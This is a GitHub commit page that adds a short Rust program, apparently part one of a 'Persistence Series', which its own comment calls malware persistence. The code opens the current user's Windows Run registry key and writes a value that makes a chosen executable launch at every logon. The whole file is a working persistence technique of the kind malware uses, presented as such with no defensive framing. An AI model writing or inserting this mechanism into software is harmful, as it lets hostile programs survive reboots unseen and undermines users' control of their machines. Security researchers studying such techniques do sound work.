Skip to content

Commit dcf1704

Browse files
committed
Persistence Series
Persistence Part 1 - Exec process through startup folder register keys
1 parent 789ddd8 commit dcf1704

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed

Persistence/persistence_part1.rs

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
/*
2+
Malware Persistence through startup folder registry keys
3+
Credit: Cocomelonc
4+
@5mukx
5+
*/
6+
7+
use std::{ffi::CString, ptr::null_mut};
8+
9+
use winapi::{
10+
shared::{minwindef::HKEY__, winerror::ERROR_SUCCESS},
11+
um::winreg::{RegCloseKey, RegOpenKeyExA, RegSetValueExA, HKEY_CURRENT_USER}
12+
};
13+
use winreg::enums::{RegType::REG_SZ, KEY_WRITE};
14+
15+
16+
fn main(){
17+
unsafe{
18+
let mut hkey: *mut HKEY__ = null_mut();
19+
let exe = CString::new("C:\\Users\\Smukx\\Desktop\\Rust\\learn\\learn.exe").expect("CString Error");
20+
21+
let path = CString::new("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run").expect("CString::new failed");
22+
23+
let reg = RegOpenKeyExA(
24+
HKEY_CURRENT_USER,
25+
path.as_ptr(),
26+
0,
27+
KEY_WRITE,
28+
&mut hkey,
29+
);
30+
31+
let reg_name = CString::new("smukx").expect("CString Error");
32+
33+
if reg == ERROR_SUCCESS.try_into().unwrap(){
34+
RegSetValueExA(
35+
hkey,
36+
reg_name.as_ptr(),
37+
0,
38+
REG_SZ as u32,
39+
exe.as_ptr() as *const u8,
40+
exe.as_bytes_with_nul().len() as u32
41+
);
42+
43+
RegCloseKey(hkey);
44+
}
45+
}
46+
}

0 commit comments

Comments
 (0)